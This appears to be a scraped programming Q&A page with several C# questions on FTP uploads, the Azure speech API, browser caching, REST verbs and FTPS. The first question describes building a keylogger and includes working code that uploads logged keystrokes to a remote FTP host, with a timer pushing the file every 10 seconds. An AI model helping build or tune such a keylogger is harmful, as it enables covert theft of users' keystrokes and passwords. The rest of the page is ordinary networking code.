Console app - FTP upload stops execution - c#

I am currently working on a keylogger which is saving the users input to a text document. The document is updated each time the user presses a button.
I want the FTP to constantly update the text document on the server. The issue is that each time it is uploading the text document, it stops until the upload is complete and then continues logging.
I would like to know how can I prevent this from happening.
I read somewhere there is a way to do this by using an ASYNC function or something like that but I do not know where it was.
I would greatelly appreciate any help.
Here is the FTP code I created.
private static void ftp(String name)
{
FtpWebRequest request = (FtpWebRequest)FtpWebRequest.Create(
"ftp://ftp.drivehq.com/test.txt");
request.Method = WebRequestMethods.Ftp.UploadFile;
request.Credentials = new NetworkCredential(username, pass);
request.UsePassive = true;
request.UseBinary = true;
request.KeepAlive = false;
FileStream stream = File.OpenRead(name);
byte[] data = new byte[stream.Length];
stream.Read(data, 0, data.Length);
stream.Close();
Stream reqStream = request.GetRequestStream();
reqStream.Write(data, 0, data.Length);
reqStream.Close();
}

I managed to find a way how to fix it. I simply used timers and I am uploading every 10 seconds. The issue was not with FTP interrupting execution, but FTP flooding the program with constant uploading.
As I said. The timers fixed it.

Related

Not compelete result from Azure speech to text API

I have a small wav sound file in which I want to get the text of it, so I used Azure speech to text API to test it.
first thing I convert the audio file as they recommended in their documentation to PCM - Mono -16K sample rate.
and I use this code in c# in the documentation example here to upload the file and get the result.
HttpWebRequest request = null;
request = (HttpWebRequest)HttpWebRequest.Create("https://speech.platform.bing.com/speech/recognition/interactive/cognitiveservices/v1?language=en-US&format=detailed");
request.SendChunked = true;
request.Accept = #"application/json;text/xml";
request.Method = "POST";
request.ProtocolVersion = HttpVersion.Version11;
request.ContentType = #"audio/wav; codec=audio/pcm; samplerate=16000";
request.Headers["Ocp-Apim-Subscription-Key"] = "my key";
// Send an audio file by 1024 byte chunks
using (FileStream fs = new FileStream("D:/b.wav", FileMode.Open, FileAccess.Read))
{
/*
* Open a request stream and write 1024 byte chunks in the stream one at a time.
*/
byte[] buffer = null;
int bytesRead = 0;
using (Stream requestStream = request.GetRequestStream())
{
/*
* Read 1024 raw bytes from the input audio file.
*/
buffer = new Byte[checked((uint)Math.Min(1024, (int)fs.Length))];
while ((bytesRead = fs.Read(buffer, 0, buffer.Length)) != 0)
{
requestStream.Write(buffer, 0, bytesRead);
}
// Flush
requestStream.Flush();
}
}
string responseString;
Console.WriteLine("Response:");
using (WebResponse response = request.GetResponse())
{
Console.WriteLine(((HttpWebResponse)response).StatusCode);
using (StreamReader sr = new StreamReader(response.GetResponseStream()))
{
responseString = sr.ReadToEnd();
}
Console.WriteLine(responseString);
Console.ReadLine();
}
also i tried using cUrl tool and also write it in java as i was thought that maybe it's problem with the programming language I use that i not upload the file correctly.
this the link of the sound file i want to convert it to text here.
so Now i need to help to figure it out if the problem comes from the format of the sound file? or from maybe code that i not upload it correctly? or it's from the API I mean to be not accurate enough?
i tried IBM speech to text and it got all the text with no problem.
iam using now the free trial of Azure speech to text API and I want to figure where the problem comes if anyone has experience with this to see if I will work with this API or not.
Update
I want to clear that iam not got any error i just got incomplete result to my sound file I upload, for example the sound file i upload he said at the end of the sound "What is up with that", the result i got from Azure is just the first sentence only which is "I say that like it's a bad thing.", also I upload another sound file which contains the "What is up with that" only check it here,and it just gives me an empty result like this.
{"RecognitionStatus":"NoMatch","Offset":17300000,"Duration":0}
so all that i want to know if this normal from the Speech to text API Azure or the problem with my code or from the sound file? this what i want to get an answer with it.
when i test another API on those files it worked like IBM for example.
Thanks in advance.

C# webbrowser not showing updated result

I have trouble with webbrowser or may be ftp. I am uploading a picture and when I navigate the webbrowser it shows me the old photo, yet the picture im uploading gets to the ftp and gets overwrite. Here is the code:
webBrowser1.Refresh(WebBrowserRefreshOption.Completely);
webBrowser1.Navigate("www.google.com");
openFileDialog1.ShowDialog();
string filename = Path.GetFullPath(openFileDialog1.FileName);
FileInfo toUpload = new FileInfo(#"upload.jpg");
FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://fingercube.co.cc/public_html/objimg/" + toUpload.Name);
request.Method = WebRequestMethods.Ftp.UploadFile;
request.Credentials = new NetworkCredential("username", "pass");
Stream ftpStream = request.GetRequestStream();
FileStream file = File.OpenRead(filename);
int lenght = 2;
byte[] buffer = new byte[lenght];
int bytesRead = 0;
do
{
bytesRead = file.Read(buffer, 0, lenght);
ftpStream.Write(buffer, 0, bytesRead);
}
while (bytesRead != 0);
file.Close();
ftpStream.Close();
webBrowser1.Navigate("http://fingercube.co.cc/objimg/"+toUpload.Name);
It shows me the old photo everytime, but the photo is uploaded every time. :(
If the caching suggestion doesn't work try doing the following.
this.webBrowser1.Navigate("about:blank");
HtmlDocument doc = this.wbbFinalise.Document;
doc.Write(string.Empty);
Then navigate to your ftp location.
I had a similar issue while trying to refresh a locally generated HTTP page in the web browser and this fixed the issue.
The image is cached to IE cache. You must clear the cache before refreshing the control. Have a look here: http://www.gutgames.com/post/Clearing-the-Cache-of-a-WebBrowser-Control.aspx
Also, a related question on SO: WebBrowser control caching issue
got the solution .. the problem was with the cache easy solution to it was to make new request everytime .

Difference between PUT and POST using WCF REST

I have tried to implement a REST WCF in order to explore difference between PUT and POST verb. I have uploded a file in a location using the service.
The service implementation is as folowing:
[OperationContract]
[WebInvoke(UriTemplate = "/UploadFile", Method = "POST")]
void UploadFile(Stream fileContents);
public void UploadFile(Stream fileContents)
{
byte[] buffer = new byte[32768];
MemoryStream ms = new MemoryStream();
int bytesRead, totalBytesRead = 0;
do
{
bytesRead = fileContents.Read(buffer, 0, buffer.Length);
totalBytesRead += bytesRead;
ms.Write(buffer, 0, bytesRead);
} while (bytesRead > 0);
using (FileStream fs = File.OpenWrite(#"C:\temp\test.txt"))
{
ms.WriteTo(fs);
}
ms.Close();
}
Client code is as following:
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create("http://localhost:1922 /EMPRESTService.svc/UploadFile");
request.Method = "POST";
request.ContentType = "text/plain";
byte[] fileToSend = File.ReadAllBytes(#"C:\TEMP\log.txt"); // txtFileName contains the name of the file to upload.
request.ContentLength = fileToSend.Length;
using (Stream requestStream = request.GetRequestStream())
{
// Send the file as body request.
requestStream.Write(fileToSend, 0, fileToSend.Length);
//requestStream.Close();
}
using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
Console.WriteLine("HTTP/{0} {1} {2}", response.ProtocolVersion, (int)response.StatusCode, response.StatusDescription);
Console.ReadLine();
The file is being uploaded and the response status code is being returned as "200 OK". The satus code is same in case of existance or non-existance of the file in the upload location.
I have changed the REST verb to PUT and the status code is same as above.
Could anybody explain, how I can identify the differences between the verbs in this context? I couldn't able to simulate generating continious request fron client code. If the behaviour will differ on doing so, could anybody help me in modifying the client code in ordrr to send continious request in a row ?
POST verb is used when are you creating a new resource (a file in your case) and repeated operations would create multiple resources on the server. This verb would make sense if uploading a file with the same name multiple times creates multiple files on the server.
PUT verb is used when you are updating an existing resource or creating a new resource with a predefined id. Multiple operations would recreate or update the same resource on the server. This verb would make sense if uploading a file with the same name for the second, third... time would overwrite the previously uploaded file.

How to create FtpWebRequest over SSL?

I am trying to create a connection to a remote server to upload a file, the connection needs to be over SSL and I have only a bunch of ports available on routers from both sides. The connection seems to succeed, however the Stream requestStream = request.GetRequestStream(); times out. After inspecting tracing log, the following line seems suspicious:
System.Net Information: 0 : [7144] FtpControlStream#33675143 - Created connection from [myIP]:64230 to [theirIP]:990.
Although it says connection was created, I know that port 64230 is not open, and my guess is that's why it fails. So is it possible to specify which port to create a local connection from? Or maybe I'm missing something else?
[EDIT]:
I set up FTP site on IIS on my local machine for testing, to see what could possibly be going wrong, but I'm getting the same problem. What's interesting is that I can connect on pretty much any port with the same settings, except 990. I can now rule out the firewall, it doesn't seem to be the problem. Any other guesses? Here is the sample code:
string fileName = "file.pdf";
FtpWebRequest request = (FtpWebRequest)WebRequest.Create("ftp://[host]:990/file.pdf");
request.Method = WebRequestMethods.Ftp.UploadFile;
request.EnableSsl = true;
request.UsePassive = true;
ServicePointManager.ServerCertificateValidationCallback = AcceptAllCertifications;
request.Credentials = new NetworkCredential("[host]|[username]", "[password]");
Stream requestStream = request.GetRequestStream();
FileStream stream = File.OpenRead(fileName);
const int bufferLength = 1024;
byte[] buffer = new byte[bufferLength];
int count = 0;
int readBytes = 0;
do
{
readBytes = stream.Read(buffer, 0, bufferLength);
requestStream.Write(buffer, 0, readBytes);
count += readBytes;
}
while (readBytes != 0);
stream.Close();
requestStream.Close();
Console.WriteLine("Upload complete");
Shouldn't your connection string be:
ftps://[host]:990/file.pdf
Also I know you said you could rule out the firewall, but it often a headache with FTPS maybe this serverfault answer might be of use:
What firewall ports do I need to open when using FTPS?

Uploading file with c# ftp methods results in webexception. Problem disappears after program restart

I have following problem:
I'm using C# ftp methods to automate sending files to FTP servers. The program is constantly running, checking predefined directories. If it finds files in a directory, it is supposed to upload them to a defined ftp server. There are about 80 directories and most of the time the program has something to do. Everything works fine, except from the following scenario:
The file is being uploaded.
An error occurs while uploading: the remote host is down, the quota is exceeded or something similar.
An attempt is made to upload the file once again and the error occurs once again.
An attempt is made to upload file for the third, fourth, ... time and then this line of code:
Stream requestStream = ftpRequest.GetRequestStream();
throws WebException with status: Undefined, and description: the time limit for this operation has been reached (or something similar - I had to translate this from polish). While this WebException is being thrown, ftp request to other servers (files from different directories) succeed, so it looks like there is only problem with connection to this one ftp server.
It all results in no further attempt to upload file being successful. Uploading this file through other ftp client is, however, possible. When I restart the program, everything runs smoothly. Should I somehow manually release ftp resource? I'm using KeepAlive property of FtpWebRequest set to true..
I would very appreciate if someone could shed some light on this problem.
Edited:
I followed David's hint and found the place where I didn't call Close() method on the requestStream, I fixed it, but the problem reoccurred.
I will paste some code then. Here is part of the method, that uploads the file to the server. If it fails, another attempt is being made, something like:
while (retryCounter++ < retryNumber)
{
//upload file,
//if succeeded, break
}
inside while-block there is:
FtpWebRequest ftpRequest = (FtpWebRequest)WebRequest.Create(remoteFileName);
ftpRequest.UseBinary = true;
ftpRequest.UsePassive = true;
ftpRequest.Credentials = new NetworkCredential(UserName, Password);
ftpRequest.ReadWriteTimeout = SendTimeout;
ftpRequest.Timeout = ConnectTimeout;
ftpRequest.KeepAlive = true;
ftpRequest.Proxy = null;
ftpRequest.Method = WebRequestMethods.Ftp.UploadFile;
Stream requestStream = null;
try
{
using (MemoryStream fileStream = new MemoryStream(localFile))
{
byte[] buffer = new byte[BufferSize];
int readCount = fileStream.Read(buffer, 0, BufferSize);
int bytesSentCounter = 0;
while (readCount > 0)
{
requestStream.Write(buffer, 0, readCount);
bytesSentCounter += readCount;
readCount = fileStream.Read(buffer, 0, BufferSize);
System.Threading.Thread.Sleep(100);
}
}
requestStream.Close();
requestStream = null;
FtpWebResponse response = (FtpWebResponse)ftpRequest.GetResponse();
FtpStatusCode code = response.StatusCode;
string description = response.StatusDescription;
response.Close();
_logger.Information("Upload file result : status code {0}, status description {1}", code, description);
if (code == FtpStatusCode.ClosingData)
{
_logger.Information("File {0} uploaded successfully", localFileName);
}
else
{
_logger.Error("Uploading file {0} did not succeed. Status code is {1}, description {2}", localFileName, code, description);
}
}
catch (WebException ex)
{
if (requestStream != null)
requestStream.Close();
ftpRequest.Abort();
FtpStatusCode code = ((FtpWebResponse)ex.Response).StatusCode;
string description = ((FtpWebResponse)ex.Response).StatusDescription;
_logger.Error("A connection to the ftp server could not be established. Status code: {0}, description: {1} Exception: {2}. Retrying...", code, description, ex.ToString());
}
So, again the scenario is following:
1. The file is being uploaded and System.Net.Sockets.SocketException occurrs.
2. Another attempt is being made and System.Net.Sockets.SocketException reoccurs.
3. Always before I call the uploadfile method, I check whether the remote server is up and everything is ok by trying to list the remote directory. And from now, by calling
ftpRequest.GetResponse() (where ftpRequest.Method is WebRequestMethods.Ftp.ListDirectory) I get WebException with status: Undefined, and description: the time limit for this operation has been reached. When I restart the application, the problem disappears.
I can find no other place where the streams are not released properly, and have no idea what to do next..
Are you sure you're closing the stream correctly and thus release all underlying resources properly?
If not, this might be the cause of your problem, when you hit a limit (e.g. open sockets) after repeated failures.
You need to ensure you put the Stream.Close(), Request.Close() and Response.Close() in a finally block otherwise they will be skipped whenever there is an error. Keep in mind when dealing with external resources such as over a network, you need to program to expect errors since they will certainly crop up at some point.
try
{
processing here...
}
finally
{
requestStream.Close();
requestStream = null;
}
One possible source of error that I've run into is creating a new "NetworkCredential" over and over again. Then you'll get an exception after awhile.

Categories